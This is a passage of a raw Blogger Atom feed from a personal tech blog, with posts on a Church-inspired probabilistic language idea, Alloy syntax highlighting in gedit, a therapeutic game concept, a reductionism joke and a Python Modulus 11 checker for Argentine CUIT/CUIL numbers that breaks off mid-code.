href='http://blog.mechpoet.net/feeds/3435679172613307598/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://blog.mechpoet.net/2011/04/my-first-poem-written-in-python-code.html#comment-form' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8700396122275014565/posts/default/3435679172613307598'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8700396122275014565/posts/default/3435679172613307598'/><link rel='alternate' type='text/html' href='http://blog.mechpoet.net/2011/04/my-first-poem-written-in-python-code.html' title='My First Poem Written in Python Code'/><author><name>thermo</name><uri>http://www.blogger.com/profile/11421452711580282885</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_tJD3vUnZtL0/SUT9GXzKcmI/AAAAAAAAAAM/Ms6BESxVkFs/S220/cono_del_encono.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_MlS6fGz-GNE/S7avHTu7RDI/AAAAAAAAAQA/rHA2aK3bi7E/s72-c/python-logo-master-v3-TM-flattened.png' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8700396122275014565.post-3349236429640493232</id><published>2011-04-06T05:52:00.000-07:00</published><updated>2011-04-06T07:21:41.354-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='lisp'/><category scheme='http://www.blogger.com/atom/ns#' term='generative'/><category scheme='http://www.blogger.com/atom/ns#' term='church'/><category scheme='http://www.blogger.com/atom/ns#' term='estocastico'/><category scheme='http://www.blogger.com/atom/ns#' term='probabilistico'/><category scheme='http://www.blogger.com/atom/ns#' term='models'/><category scheme='http://www.blogger.com/atom/ns#' term='funcional'/><title type='text'>Timba: ideas para un lenguaje funcional y probabilístico</title><content type='html'>&lt;div style="text-align: justify;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://matt.might.net/articles/compiling-up-to-lambda-calculus/images/y_combinator.jpg"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 640px; height: 480px;" src="http://matt.might.net/articles/compiling-up-to-lambda-calculus/images/y_combinator.jpg" alt="" border="0" /&gt;&lt;/a&gt;Seguimos poniendo cosas que estaría bueno hacer pero no hay tiempo. Si alguien quiere laburar en este tema puede robar la idea, poné al autor del este blog como N-ésimo autor del paper (donde N &amp;gt; 3) y listo.&lt;br /&gt;&lt;br /&gt;Hace un par de meses luego de leer la noticia sobre enfoques unificados de inteligencias artificial (&lt;a href="http://web.mit.edu/newsoffice/2010/ai-unification.html"&gt;A grand unified theory of AI&lt;/a&gt;) y el &lt;a href="http://www.mit.edu/%7Endg/papers/churchUAI08_rev2.pdf"&gt;paper correspondiente al lenguaje de modelado estocástico Church&lt;/a&gt;, no había una cuestión super revolucionaria en el tema pero que sí puede ser útil tener un lenguaje de ese tipo. En concreto puede ser útil para consultar fuentes de datos semi-estructuradas como Twitter, hacer encuestas y los cálculos stadísticos correspondientes (por ejemplo para &lt;a href="http://www.bbc.co.uk/news/technology-12976254"&gt;&lt;span style="font-style: italic;"&gt;Stock Trading&lt;/span&gt;&lt;/a&gt;). Lo que no gustó de Church es que es un fragmento de LISP, un lenguaje del 1958, es decir pionero para su época pero hoy en día es anticuado y sintácticamente recargado (por lo menos en los paréntesis).&lt;br /&gt;&lt;br /&gt;Entonces el desafío es implementar un lenguaje de similares carácterísticas estocásticas, a-la Church pero con un diseño más moderno. Para los que no lo saben &lt;a href="http://en.wikipedia.org/wiki/Alonzo_Church"&gt;Alonzo Church&lt;/a&gt; fue un pionero de lógica matemática y la computación que prácticamente inventó la computación como Turing pero con un enfoque distinto, el &lt;a href="http://es.wikipedia.org/wiki/C%C3%A1lculo_lambda"&gt;cálculo lambda&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Entonces las características de Church que hay que mantener son:&lt;br /&gt;&lt;/div&gt;&lt;ul style="text-align: justify;"&gt;&lt;li&gt;la evaluación del expresiones del lenguaje tiene ser un sampleo estocástico;&lt;/li&gt;&lt;li&gt;consultas especiales para inferencias probabilística condicional;&lt;/li&gt;&lt;li&gt;&lt;a href="http://en.wikipedia.org/wiki/Memoization"&gt;memoización&lt;/a&gt; de resultados anteriores durante un cómputo, una optimización para no repetir algunos cómputos/sampleos;&lt;/li&gt;&lt;li&gt;todo esto incrustado de forma natural dentro del lenguaje para que no haya que describir las inferencias a mano cada una (este punto no parece muy claro, tal vez es obvio por eso no se entiende muy bien).&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div style="text-align: justify;"&gt;Las posibles herramientas involucradas en el diseño pueden ser:&lt;br /&gt;&lt;/div&gt;&lt;ul style="text-align: justify;"&gt;&lt;li&gt;Alguna herramienta moderna para el diseño de &lt;a href="http://en.wikipedia.org/wiki/Domain-specific_language"&gt;&lt;span style="font-style: italic;"&gt;Domain Specific Languages&lt;/span&gt;&lt;/a&gt; puede ser piola. Por ejemplo dicen que &lt;a href="http://www.ruby-lang.org/en/"&gt;Ruby&lt;/a&gt; tiene mucho &lt;a href="http://www.rubyinside.com/how-to-build-a-dsl-domain-specific-language-in-ruby-356.html"&gt;soporte para DSLs&lt;/a&gt;, y además Ruby ya viene con expresiones lambda como LISP así que puede ser adecuado.&lt;/li&gt;&lt;li&gt;Para la parte estocástica, ya sea sampleo uniforme o con distintas distribuciones se puede usar alguna librería moderna de probabilidades. Por ejemplo &lt;a href="http://web.kuicr.kyoto-u.ac.jp/%7Ealexg/rsruby/"&gt;RSRuby&lt;/a&gt; es para hacer cálculos de forma similar al &lt;a href="http://www.r-project.org/"&gt;lenguaje estadístico R&lt;/a&gt;. Hay &lt;a href="http://www.lastbeatniks.tk/free-toolbox-mathematics/ruby/"&gt;muchas librerías&lt;/a&gt; para elegir para Ruby.&lt;/li&gt;&lt;/ul&gt;&lt;div style="text-align: justify;"&gt;Al lenguaje se lo puede bautizar &lt;span style="font-style: italic;"&gt;Tomás&lt;/span&gt; (por el matemático Tomás Bayes, pionero de la probabílidad) o sino directamente &lt;span style="font-style: italic;"&gt;Timba&lt;/span&gt;, un nombre más argentino en referencia a los juegos de azar.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://1.bp.blogspot.com/_McI_KJIXOq0/R1BiS5KLPMI/AAAAAAAAA7U/lw23LUeX-mY/s1600-R/casino.jpg"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 500px; height: 330px;" src="http://1.bp.blogspot.com/_McI_KJIXOq0/R1BiS5KLPMI/AAAAAAAAA7U/lw23LUeX-mY/s1600-R/casino.jpg" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8700396122275014565-3349236429640493232?l=blog.mechpoet.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.mechpoet.net/feeds/3349236429640493232/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://blog.mechpoet.net/2011/04/ideas-para-un-lenguaje-funcional-y.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8700396122275014565/posts/default/3349236429640493232'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8700396122275014565/posts/default/3349236429640493232'/><link rel='alternate' type='text/html' href='http://blog.mechpoet.net/2011/04/ideas-para-un-lenguaje-funcional-y.html' title='Timba: ideas para un lenguaje funcional y probabilístico'/><author><name>thermo</name><uri>http://www.blogger.com/profile/11421452711580282885</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_tJD3vUnZtL0/SUT9GXzKcmI/AAAAAAAAAAM/Ms6BESxVkFs/S220/cono_del_encono.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_McI_KJIXOq0/R1BiS5KLPMI/AAAAAAAAA7U/lw23LUeX-mY/s72-Rc/casino.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8700396122275014565.post-4825943278152287048</id><published>2011-04-05T09:25:00.000-07:00</published><updated>2011-04-05T13:35:04.808-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='highlightning'/><category scheme='http://www.blogger.com/atom/ns#' term='gedit'/><category scheme='http://www.blogger.com/atom/ns#' term='alloy'/><category scheme='http://www.blogger.com/atom/ns#' term='syntax'/><category scheme='http://www.blogger.com/atom/ns#' term='language'/><title type='text'>Syntax highlighting for Alloy language with gedit</title><content type='html'>Something simple but useful. How to highlight Alloy code with &lt;a href="http://projects.gnome.org/gedit/"&gt;gedit&lt;/a&gt;? Gedit is my favorite text editor for Linux. &lt;a href="http://alloy.mit.edu/community/"&gt;Alloy&lt;/a&gt; is a modeling languages based on lightweight formal methods.&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;First we must find the location of &lt;a href="http://projects.gnome.org/gtksourceview/"&gt;GtkSourceView&lt;/a&gt;:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;$ locate gtksourceview&lt;/code&gt;&lt;br /&gt;&lt;code&gt;&lt;/code&gt;&lt;code&gt;&lt;/code&gt;&lt;code&gt;.&lt;/code&gt;&lt;br /&gt;&lt;code&gt;/usr/share/gtksourceview-2.0/language-specs/java.lang&lt;/code&gt;&lt;br /&gt;&lt;code&gt;/usr/share/gtksourceview-2.0/language-specs/haskell.lang&lt;/code&gt;&lt;br /&gt;&lt;code&gt;&lt;/code&gt;&lt;code&gt;&lt;/code&gt;&lt;code&gt;.&lt;/code&gt;&lt;br /&gt;&lt;code&gt;&lt;/code&gt;&lt;br /&gt;In my case I run Ubuntu Linux 10.04 LTS and gedit 2.30.3 and I tested the highlightingwith the default GtkSourceView, that is 2.0. I based my XML specification of the highlighting in the Java highlighting.&lt;br /&gt;&lt;br /&gt;Finally just copy (with &lt;span style="font-family:courier new;"&gt;sudo&lt;/span&gt;) file &lt;a href="http://www.assembla.com/code/miscenaleas/subversion/nodes/alloy.lang#"&gt;&lt;span style="font-family:courier new;"&gt;alloy.lang&lt;/span&gt;&lt;/a&gt; (this is the last version) to folder &lt;span style="font-family:courier new;"&gt;/usr/share/gtksourceview-2.0/language-specs/&lt;/span&gt; (in this case).&lt;br /&gt;&lt;br /&gt;It also highlights some reserved words of extension &lt;a href="http://www.dc.uba.ar/inv/grupos/rfm_folder/dynalloy"&gt;DynAlloy,&lt;/a&gt; such as &lt;span style="font-family:courier new;"&gt;assume&lt;/span&gt;, &lt;span style="font-family:courier new;"&gt;pre&lt;/span&gt;, &lt;span style="font-family:courier new;"&gt;post&lt;/span&gt;, &lt;span style="font-family:courier new;"&gt;call&lt;/span&gt; and &lt;span style="font-family:courier new;"&gt;program&lt;/span&gt;. Don't forget to comment any mistake.&lt;br /&gt;&lt;br /&gt;A sample screenshot. Thanks.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://4.bp.blogspot.com/-_fIlrgvxc6Q/TZtLCYc1klI/AAAAAAAAASw/-HrFrSY97WQ/s1600/alloy_syntax_corte.png"&gt;&lt;img style="float: left; margin: 0pt 10px 10px 0pt; cursor: pointer; width: 274px; height: 400px;" src="http://4.bp.blogspot.com/-_fIlrgvxc6Q/TZtLCYc1klI/AAAAAAAAASw/-HrFrSY97WQ/s400/alloy_syntax_corte.png" alt="" id="BLOGGER_PHOTO_ID_5592145866605826642" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;img src="file:///tmp/moz-screenshot.png" alt="" /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8700396122275014565-4825943278152287048?l=blog.mechpoet.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.mechpoet.net/feeds/4825943278152287048/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://blog.mechpoet.net/2011/04/syntax-highlightning-for-alloy-language.html#comment-form' title='4 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8700396122275014565/posts/default/4825943278152287048'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8700396122275014565/posts/default/4825943278152287048'/><link rel='alternate' type='text/html' href='http://blog.mechpoet.net/2011/04/syntax-highlightning-for-alloy-language.html' title='Syntax highlighting for Alloy language with gedit'/><author><name>thermo</name><uri>http://www.blogger.com/profile/11421452711580282885</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_tJD3vUnZtL0/SUT9GXzKcmI/AAAAAAAAAAM/Ms6BESxVkFs/S220/cono_del_encono.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/-_fIlrgvxc6Q/TZtLCYc1klI/AAAAAAAAASw/-HrFrSY97WQ/s72-c/alloy_syntax_corte.png' height='72' width='72'/><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8700396122275014565.post-5354515136052782649</id><published>2011-02-02T12:37:00.000-08:00</published><updated>2011-02-02T13:38:59.877-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='juego'/><category scheme='http://www.blogger.com/atom/ns#' term='psicomagia'/><category scheme='http://www.blogger.com/atom/ns#' term='3d'/><category scheme='http://www.blogger.com/atom/ns#' term='metanoia'/><title type='text'>Metanoia: ideas para un MORPG simbólico, terapéutico y psicomágico</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.secondlifeupdate.com/wp-content/uploads/2010/05/WithoutWords.jpg"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 640px; height: 329px;" src="http://www.secondlifeupdate.com/wp-content/uploads/2010/05/WithoutWords.jpg" alt="" border="0" /&gt;&lt;/a&gt;Me surgió una idea que es hacer un juego de computadora revolucionario. Se va a llamar &lt;a href="http://en.wikipedia.org/wiki/Metanoia"&gt;Metanoia&lt;/a&gt;. Todavía no esta clara la plataforma si será móvil, vía web o de escritorio, pero eso no es lo importante. Me parece importante también que si es con fines terapéuticos o poéticos que sea sin fines de lucro.&lt;br /&gt;&lt;br /&gt;Va a usar características disponibles hoy en juegos informáticos, que son:&lt;br /&gt;&lt;ul style="text-align: justify;"&gt;&lt;li&gt;Animación de un mundo en tres dimensiones (motor 3D).&lt;/li&gt;&lt;li&gt;Customización Web 2.0, la gente genera su propio contenido personalizado para su gusto y el de sus amigos.&lt;/li&gt;&lt;li&gt;Juegos en línea, protocolos para jugar de forma colaborativa.&lt;/li&gt;&lt;/ul&gt;Hay que desarrollar tecnologías para las siguientes características:&lt;br /&gt;&lt;ul style="text-align: justify;"&gt;&lt;li&gt;Importar objetos fotográficos y conceptuales del mundo web 2.0 al juego de forma automática. Por ejemplo el usuario en Twitter dice "me gustan los perros caniche", luego en el juego debería aparecer un perro caniche si Twitter es una fuente valida configurada por el usuario. Otro ejemplo podría ser que aparezcan amigos del usuario en 3D con tecnología para adaptar fotos a figuras 3D. Obviamente también se podrían crear objetos bajo demanda del jugador. Para ello hay que recuperar "&lt;a href="http://en.wikipedia.org/wiki/Mesh"&gt;meshes&lt;/a&gt;" 3D de Internet o fabricarlos bajo demanda.&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Posibilidad de manipular los objetos del juego de forma flexible ya sea vía alguna interfaz mecánica (mouse, pad, acelerómetro) o conceptual (traduciendo ordenes o historias a eventos en el juego). Por ejemplo, el jugador podría usar el mouse para chocar su auto favorito contra una pared o podría describir una fabula o escena en la cual objetos de su infancia como juguetes van juntos en una aventura por el bosques.&lt;/li&gt;&lt;li&gt;Que haya algoritmos para manejar cuestiones simbólicas y terapéuticas de &lt;a href="http://es.wikipedia.org/wiki/Psicomagia"&gt;Psicomagia&lt;/a&gt;. Por ejemplo el jugador esta enojado con su padre porque le dió su afecto a alguna otra actividad, entonces que el juego incluya un objeto simbólico paternal que el jugador pueda destruir para luego reconciliarse simbolicamente con su padre.&lt;/li&gt;&lt;li&gt;Como resultado de que el juego sea multi-jugador puede resultar interesante que los jugadores tengan un "karma" o nivel de psicomagia en base a ser favoritos/recomendados de otros psicomagos. Los jugadores permite a otro psicomago ver su espacio 3D privado para que este le haga sugerencias sobre que acciones son convenientes. Luego el jugador puede decidir marcar positivamente o negativamente la acción del invitado. Hay que tener en cuenta que el juego solo debe estar disponible para gente conciente y que se pueda hacer responsable de las acciones (que serán sin fines de lucro) dentro del juego. Tal vez se puede pedir un test psicologico para entrar al juego (?), es decir que sea terapeutico solo para cuestiones leves como neurosis en principio. Para enfermedades más graves que no sea colaborativo o solamente colaborativo con expertos en el area de la enfermedad.&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;Enlaces:&lt;br /&gt;&lt;ul style="text-align: justify;"&gt;&lt;li&gt;&lt;a href="http://www.3dm3.com/modelsbank/"&gt;Free 3D models&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://thefree3dmodels.com/"&gt;Free 3D models 2&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.huntfor.com/3d/links.htm"&gt;Free 3D models resources&lt;/a&gt;&lt;a href="http://www.secondlifeupdate.com/wp-content/uploads/2010/05/WithoutWords.jpg"&gt;&lt;br /&gt;&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.secondlifeupdate.com/wp-content/uploads/2010/05/WithoutWords.jpg"&gt; Imagen del lobo&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://farm5.static.flickr.com/4103/5081727393_2a3a1d4d0c_z.jpg"&gt;Imagen de dinosaurios&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;a href="http://farm5.static.flickr.com/4103/5081727393_2a3a1d4d0c_z.jpg"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 640px; height: 438px;" src="http://farm5.static.flickr.com/4103/5081727393_2a3a1d4d0c_z.jpg" alt="" border="0" /&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8700396122275014565-5354515136052782649?l=blog.mechpoet.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.mechpoet.net/feeds/5354515136052782649/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://blog.mechpoet.net/2011/02/metanoia-ideas-para-un-morpg-simbolico.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8700396122275014565/posts/default/5354515136052782649'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8700396122275014565/posts/default/5354515136052782649'/><link rel='alternate' type='text/html' href='http://blog.mechpoet.net/2011/02/metanoia-ideas-para-un-morpg-simbolico.html' title='Metanoia: ideas para un MORPG simbólico, terapéutico y psicomágico'/><author><name>thermo</name><uri>http://www.blogger.com/profile/11421452711580282885</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_tJD3vUnZtL0/SUT9GXzKcmI/AAAAAAAAAAM/Ms6BESxVkFs/S220/cono_del_encono.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://farm5.static.flickr.com/4103/5081727393_2a3a1d4d0c_t.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8700396122275014565.post-7009738481572847657</id><published>2010-12-14T10:17:00.001-08:00</published><updated>2010-12-14T10:19:15.090-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='cientifico'/><category scheme='http://www.blogger.com/atom/ns#' term='humor'/><category scheme='http://www.blogger.com/atom/ns#' term='reduccionismos'/><title type='text'>Reduccionistas Humorísticos</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://imgs.xkcd.com/comics/purity.png"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 368px; height: 153px;" src="http://imgs.xkcd.com/comics/purity.png" alt="" border="0" /&gt;&lt;/a&gt;Los reduccionistas y su humor endemoniado. Agrego un par más de reducciones.&lt;br /&gt;&lt;br /&gt;La Sociología se solo Psicología aplicada. La Psicología es solo Biología aplicada. La Biología es solo Química aplicada. La Química es solo Física aplicada. La Física es solo Matemática aplicada. La Matématica es solo Computación aplicada. La Computación es solo Lógica aplicada. La Lógica aplicada es solo Filosofía aplicada. La Filosofía es solo Metafísica aplicada. La Metafísica es solo Misticismo aplicado.&lt;br /&gt;&lt;br /&gt;La Sociología es solo Misticismo aplicado, lo que hay en el medio solo son papers, y cuantos papers, ¡y que útiles!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8700396122275014565-7009738481572847657?l=blog.mechpoet.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.mechpoet.net/feeds/7009738481572847657/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://blog.mechpoet.net/2010/12/reduccionistas-humor%C3%ADsticos.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8700396122275014565/posts/default/7009738481572847657'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8700396122275014565/posts/default/7009738481572847657'/><link rel='alternate' type='text/html' href='http://blog.mechpoet.net/2010/12/reduccionistas-humor%C3%ADsticos.html' title='Reduccionistas Humorísticos'/><author><name>thermo</name><uri>http://www.blogger.com/profile/11421452711580282885</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_tJD3vUnZtL0/SUT9GXzKcmI/AAAAAAAAAAM/Ms6BESxVkFs/S220/cono_del_encono.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8700396122275014565.post-7511099158317168817</id><published>2010-11-18T14:40:00.000-08:00</published><updated>2010-11-18T14:49:34.989-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='argentina'/><category scheme='http://www.blogger.com/atom/ns#' term='modulus11'/><category scheme='http://www.blogger.com/atom/ns#' term='control'/><category scheme='http://www.blogger.com/atom/ns#' term='codigo'/><category scheme='http://www.blogger.com/atom/ns#' term='cuit'/><category scheme='http://www.blogger.com/atom/ns#' term='cuil'/><title type='text'>Verificar CUIT/CUIL usando el Modulus 11 en Python</title><content type='html'>Basado en una &lt;a href="http://www.pablin.com.ar/computer/programa/vb/cuilcuit.htm"&gt;versión&lt;/a&gt; de 10 dígitos de Pablo Canello para el CUIT/CUIL de Argentina en Visual Basic (en la &lt;a href="http://es.wikipedia.org/wiki/C%C3%B3digo_de_control"&gt;Wikipedia&lt;/a&gt;), implementé una versión del algoritmo de control de códigos llamado &lt;span style="font-style: italic;"&gt;Modulus 11&lt;/span&gt; en Python.&lt;br /&gt;&lt;br /&gt;En el caso del CUIL/CUIT de Argentina el código de contro de un dígito es el último, por ejemplo 8 para 20-29582925-8. De cualquier manera este código se usa en mucho otros lados, ya que fue diseñado para bancos por HP.&lt;br /&gt;&lt;br /&gt;&lt;pre style="color: rgb(0, 0, 0); background: none repeat scroll 0% 0% rgb(255, 255, 255);"&gt;&lt;span style="color: rgb(105, 105, 105);"&gt;#!/usr/bin/python&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(105, 105, 105);"&gt;# -*- coding: utf-8 -*-&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(128, 0, 0); font-weight: bold;"&gt;def&lt;/span&gt; VerificarModulus11&lt;span style="color: rgb(128, 128, 48);"&gt;(&lt;/span&gt;Numero&lt;span style="color: rgb(128, 128, 48);"&gt;,&lt;/span&gt; CodigoUnDigito&lt;span style="color: rgb(128, 128, 48);"&gt;)&lt;/span&gt;&lt;span style="color: rgb(128, 128, 48);"&gt;:&lt;/span&gt;&lt;br /&gt;   &lt;span style="color: rgb(105, 105, 105);"&gt;'''&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(105, 105, 105);"&gt;    Input en la forma: &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(105, 105, 105);"&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(105, 105, 105);"&gt;    Numero="23-34568734" y CodigoUnDigito="7"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(105, 105, 105);"&gt;    o &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(105, 105, 105);"&gt;    Numero=2334568734 y CodigoUnDigito=7&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(105, 105, 105);"&gt;    '''&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;   &lt;span style="color: rgb(128, 0, 0); font-weight: bold;"&gt;if&lt;/span&gt; &lt;span style="color: rgb(227, 74, 220);"&gt;str&lt;/span&gt;&lt;span style="color: rgb(128, 128, 48);"&gt;(&lt;/span&gt;Numero&lt;span style="color: rgb(128, 128, 48);"&gt;)&lt;/span&gt; &lt;span style="color: rgb(128, 128, 48);"&gt;!&lt;/span&gt;&lt;span style="color: rgb(128, 128, 48);"&gt;=&lt;/span&gt; Numero&lt;span style="color: rgb(128, 128, 48);"&gt;:&lt;/span&gt;&lt;br /&gt;       Numero &lt;span style="color: rgb(128, 128, 48);"&gt;=&lt;/span&gt; &lt;span style="color: rgb(227, 74, 220);"&gt;str&lt;/span&gt;&lt;span style="color: rgb(128, 128, 48);"&gt;(&lt;/span&gt;Numero&lt;span style="color: rgb(128, 128, 48);"&gt;)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;   x &lt;span style="color: rgb(128, 128, 48);"&gt;=&lt;/span&gt; &lt;span style="color: rgb(0, 140, 0);"&gt;0&lt;/span&gt;&lt;br /&gt;   factor &lt;span style="color: rgb(128, 128, 48);"&gt;=&lt;/span&gt; &lt;span style="color: rgb(0, 140, 0);"&gt;2&lt;/span&gt;&lt;br /&gt;   &lt;span style="color: rgb(128, 0, 0); font-weight: bold;"&gt;for&lt;/span&gt; c &lt;span style="color: rgb(128, 0, 0); font-weight: bold;"&gt;in&lt;/span&gt; reversed&lt;span style="color: rgb(128, 128, 48);"&gt;(&lt;/span&gt;Numero&lt;span style="color: rgb(128, 128, 48);"&gt;)&lt;/span&gt;&lt;span style="color: rgb(128, 128, 48);"&gt;:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;       &lt;span style="color: rgb(128, 0, 0); font-weight: bold;"&gt;try&lt;/span&gt;&lt;span style="color: rgb(128, 128, 48);"&gt;:&lt;/span&gt;&lt;br /&gt;           &lt;span style="color: rgb(227, 74, 220);"&gt;int&lt;/span&gt;&lt;span style="color: rgb(128, 128, 48);"&gt;(&lt;/span&gt;c&lt;span style="color: rgb(128, 128, 48);"&gt;)&lt;/span&gt;&lt;br /&gt;       &lt;span style="color: rgb(128, 0, 0); font-weight: bold;"&gt;except&lt;/span&gt; &lt;span style="color: rgb(227, 74, 220);"&gt;ValueError&lt;/span&gt;&lt;span style="color: rgb(128, 128, 48);"&gt;:&lt;/span&gt;&lt;br /&gt;           &lt;span style="color: rgb(105, 105, 105);"&gt;# not numeric&lt;/span&gt;&lt;br /&gt;           &lt;span style="color: rgb(128, 0, 0); font-weight: bold;"&gt;continue&lt;/span&gt;           &lt;br /&gt;       &lt;span style="color: rgb(128, 0, 0); font-weight: bold;"&gt;else&lt;/span&gt;&lt;span style="color: rgb(128, 128, 48);"&gt;:&lt;/span&gt;&lt;br /&gt;           &lt;span style="color: rgb(105, 105, 105);"&gt;# numeric&lt;/span&gt;&lt;br /&gt;           x &lt;span style="color: rgb(128, 128, 48);"&gt;+&lt;/span&gt;&lt;span style="color: rgb(128, 128, 48);"&gt;=&lt;/span&gt; &lt;span style="color: rgb(227, 74, 220);"&gt;int&lt;/span&gt;&lt;span style="color: rgb(128, 128, 48);"&gt;(&lt;/span&gt;c&lt;span style="color: rgb(128, 128, 48);"&gt;)&lt;/span&gt; &lt;span style="color: rgb(128, 128, 48);"&gt;*&lt;/span&gt; factor&lt;br /&gt;           factor &lt;span style="color: rgb(128, 128, 48);"&gt;+&lt;/span&gt;&lt;span style="color: rgb(128, 128, 48);"&gt;=&lt;/span&gt; &lt;span style="color: rgb(0, 140, 0);"&gt;1&lt;/span&gt;&lt;br /&gt;           &lt;span style="color: rgb(128, 0, 0); font-weight: bold;"&gt;if&lt;/span&gt; factor &lt;span style="color: rgb(128, 128, 48);"&gt;=&lt;/span&gt;&lt;span style="color: rgb(128, 128, 48);"&gt;=&lt;/span&gt; &lt;span style="color: rgb(0, 140, 0);"&gt;8&lt;/span&gt;&lt;span style="color: rgb(128, 128, 48);"&gt;:&lt;/span&gt;&lt;br /&gt;               factor &lt;span style="color: rgb(128, 128, 48);"&gt;=&lt;/span&gt; &lt;span style="color: rgb(0, 140, 0);"&gt;2&lt;/span&gt;&lt;br /&gt;   &lt;span style="color: rgb(105, 105, 105);"&gt;#Calcula el dígito de control.&lt;/span&gt;&lt;br /&gt;   Control &lt;span style="color: rgb(128, 128, 48);"&gt;=&lt;/span&gt; &lt;span style="color: rgb(128, 128, 48);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(0, 140, 0);"&gt;11&lt;/span&gt; &lt;span style="color: rgb(128, 128, 